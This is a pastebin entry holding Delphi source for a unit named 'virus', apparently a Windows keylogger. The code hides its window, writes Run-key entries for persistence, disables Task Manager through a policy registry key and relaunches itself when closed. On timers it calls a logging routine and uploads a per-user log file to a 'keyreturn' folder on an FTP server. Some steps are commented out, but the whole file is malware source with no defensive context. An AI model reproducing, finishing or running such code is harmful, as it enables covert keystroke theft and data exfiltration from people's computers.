All pastes #922436 Raw Edit

Something

public text v1 · immutable
#922436 ·published 2008-02-28 20:23 UTC
rendered paste body
unit virus;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, StdCtrls, jpeg, ExtCtrls, SHELLAPI, Sockets,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdFTP, IdFTPCommon;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Image1: TImage;
    RegTimer1: TTimer;
    RegTimer3: TTimer;
    RegTimer2: TTimer;
    IdFTP1: TIdFTP;
    FTPTimer: TTimer;
    Timer1: TTimer;
    Memo1: TMemo;
    bmpTimer: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure caNone(Sender: TObject; var Action: TCloseAction);
    procedure RegTimer1Timer(Sender: TObject);
    procedure RegTimer3Timer(Sender: TObject);
    procedure RegTimer2Timer(Sender: TObject);
    procedure FTPTimerTimer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
uses
untOffLineLogger;

{$R *.dfm}

function GetCurrentUserName: string;
const
  cnMaxUserNameLen = 254;
var
  sUserName: string;
  dwUserNameLen: DWORD;
begin
  dwUserNameLen := cnMaxUserNameLen - 1;
  SetLength(sUserName, cnMaxUserNameLen);
  GetUserName(PChar(sUserName), dwUserNameLen);
  SetLength(sUserName, dwUserNameLen);
  Result := sUserName;
end;

procedure SystemKeys(Disable: Boolean) ;
var
  OldVal : LongInt;
begin
 SystemParametersInfo(SPI_SCREENSAVERRUNNING, Word(Disable), @OldVal, 0) ;
end;

procedure ShowTaskBar(bShow: Boolean) ;
begin
if bShow = True then
 ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA)
else
 ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE) ;
end;

procedure RegEdit1;
var
  Reg: TRegistry;
  sExeName: string;
begin
   Reg := TRegistry.Create;
   sExeName := ExtractFileName(Application.ExeName);
   with Reg do
  begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
    WriteString('A', 'C:\Windows\System32\winux\'+sExeName);
    {WriteString('B', 'C:\Program Files\Windows Live\Y'+sExeName);
    WriteString('C', 'C:\Program Files\Windows Live\X'+sExeName);
    WriteString('D', 'C:\Program Files\Windows Live\W'+sExeName);
    WriteString('E', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('F', 'C:\Program Files\Windows Live\U'+sExeName);
    WriteString('G', 'C:\Program Files\Windows Live\T'+sExeName);
    WriteString('H', 'C:\Program Files\Windows Live\S'+sExeName);
    WriteString('I', 'C:\Program Files\Windows Live\R'+sExeName);
    WriteString('J', 'C:\Program Files\Windows Live\Q'+sExeName);
    WriteString('K', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('L', 'C:\Program Files\Windows Live\O'+sExeName);
    WriteString('M', 'C:\Program Files\Windows Live\N'+sExeName);
    WriteString('N', 'C:\Program Files\Windows Live\M'+sExeName);
    WriteString('O', 'C:\Program Files\Windows Live\L'+sExeName);
    WriteString('P', 'C:\Program Files\Windows Live\K'+sExeName);
    WriteString('Q', 'C:\Program Files\Windows Live\J'+sExeName);
    WriteString('R', 'C:\Program Files\Windows Live\I'+sExeName);
    WriteString('S', 'C:\Program Files\Windows Live\H'+sExeName);
    WriteString('T', 'C:\Program Files\Windows Live\G'+sExeName);
    WriteString('U', 'C:\Program Files\Windows Live\F'+sExeName);
    WriteString('V', 'C:\Program Files\Windows Live\E'+sExeName);
    WriteString('W', 'C:\Program Files\Windows Live\D'+sExeName);
    WriteString('X', 'C:\Program Files\Windows Live\C'+sExeName);
    WriteString('Y', 'C:\Program Files\Windows Live\B'+sExeName);
    WriteString('Z', 'C:\Program Files\Windows Live\A'+sExeName); }
    CloseKey;
    Free;
  end;
end;

procedure RegEdit3;
var
  Reg: TRegistry;
  sExeName: string;
begin
   Reg := TRegistry.Create;
   sExeName := ExtractFileName(Application.ExeName);
   with Reg do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
    WriteString('A', 'C:\Windows\System32\winux\'+sExeName);
    {WriteString('B', 'C:\Program Files\Windows Live\Y'+sExeName);
    WriteString('C', 'C:\Program Files\Windows Live\X'+sExeName);
    WriteString('D', 'C:\Program Files\Windows Live\W'+sExeName);
    WriteString('E', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('F', 'C:\Program Files\Windows Live\U'+sExeName);
    WriteString('G', 'C:\Program Files\Windows Live\T'+sExeName);
    WriteString('H', 'C:\Program Files\Windows Live\S'+sExeName);
    WriteString('I', 'C:\Program Files\Windows Live\R'+sExeName);
    WriteString('J', 'C:\Program Files\Windows Live\Q'+sExeName);
    WriteString('K', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('L', 'C:\Program Files\Windows Live\O'+sExeName);
    WriteString('M', 'C:\Program Files\Windows Live\N'+sExeName);
    WriteString('N', 'C:\Program Files\Windows Live\M'+sExeName);
    WriteString('O', 'C:\Program Files\Windows Live\L'+sExeName);
    WriteString('P', 'C:\Program Files\Windows Live\K'+sExeName);
    WriteString('Q', 'C:\Program Files\Windows Live\J'+sExeName);
    WriteString('R', 'C:\Program Files\Windows Live\I'+sExeName);
    WriteString('S', 'C:\Program Files\Windows Live\H'+sExeName);
    WriteString('T', 'C:\Program Files\Windows Live\G'+sExeName);
    WriteString('U', 'C:\Program Files\Windows Live\F'+sExeName);
    WriteString('V', 'C:\Program Files\Windows Live\E'+sExeName);
    WriteString('W', 'C:\Program Files\Windows Live\D'+sExeName);
    WriteString('X', 'C:\Program Files\Windows Live\C'+sExeName);
    WriteString('Y', 'C:\Program Files\Windows Live\B'+sExeName);
    WriteString('Z', 'C:\Program Files\Windows Live\A'+sExeName); }
    CloseKey;
    Free;
  end;
end;

procedure RegEdit2;
var
  Reg: TRegistry;

begin
   Reg := TRegistry.Create;
  with Reg do
  begin
  RootKey := HKEY_CURRENT_USER;
  OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',false);
  WriteInteger('DisableTaskMgr', 1);
  //WriteInteger('DisableRegistryTools', 1);
  Free;
  end;
end;


procedure CopyFileZA;
var
 fileSource, fileDest: string;
 sExePath: string;
 sExeName: string;
 Count : integer;
 begin
   sExePath := ExtractFilePath(Application.ExeName);
   sExeName := ExtractFileName(Application.ExeName);
     for Count := 90 downto 65 do  begin
       FileSource := sExePath+sExeName;
       FileDest := 'C:\Windows\System32\winux\'+sExeName;
       CopyFile(PChar(FileSource), PChar(FileDest), False);
 end;
 end;


procedure TForm1.FormCreate(Sender: TObject);
begin
  ShowWindow(Application.Handle, SW_HIDE) ;
  SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW ) ;
  ShowWindow(Application.Handle, SW_SHOW) ;

   // CopyFileZA;
   // RegEdit1;
   // RegEdit2;
    end;


procedure TForm1.Button1Click(Sender: TObject);
var
  sExePath: string;
  sExeName: string;
begin
  sExePath := ExtractFilePath(Application.ExeName);
  sExeName := ExtractFileName(Application.ExeName);
  ShowMessage('Maybe later.')
  //ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ;
//ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ;
    end;


procedure TForm1.caNone(Sender: TObject; var Action: TCloseAction);
var
  sExePath: string;
  sExeName: string;
begin
  sExePath := ExtractFilePath(Application.ExeName);
  sExeName := ExtractFileName(Application.ExeName);
ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ;
//ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ;
//ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PAnsiChar('NoExec'),'',SW_SHOW) ;

end;

procedure TForm1.RegTimer1Timer(Sender: TObject);
begin
//RegEdit2;
end;

procedure TForm1.RegTimer3Timer(Sender: TObject);
begin
//RegEdit3;
end;

procedure TForm1.RegTimer2Timer(Sender: TObject);
begin
//RegEdit1;
end;

procedure TForm1.FTPTimerTimer(Sender: TObject);

begin
  idftp1.Connect;
  try
    if idftp1.connected then
    begin
      idftp1.ChangeDir('keyreturn');
      idftp1.Put('C:\Windows\System32\winux\' + GetCurrentUserName, GetCurrentUserName);
    end
  finally
    idftp1.Disconnect;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  OLGetLetter;
end;


end.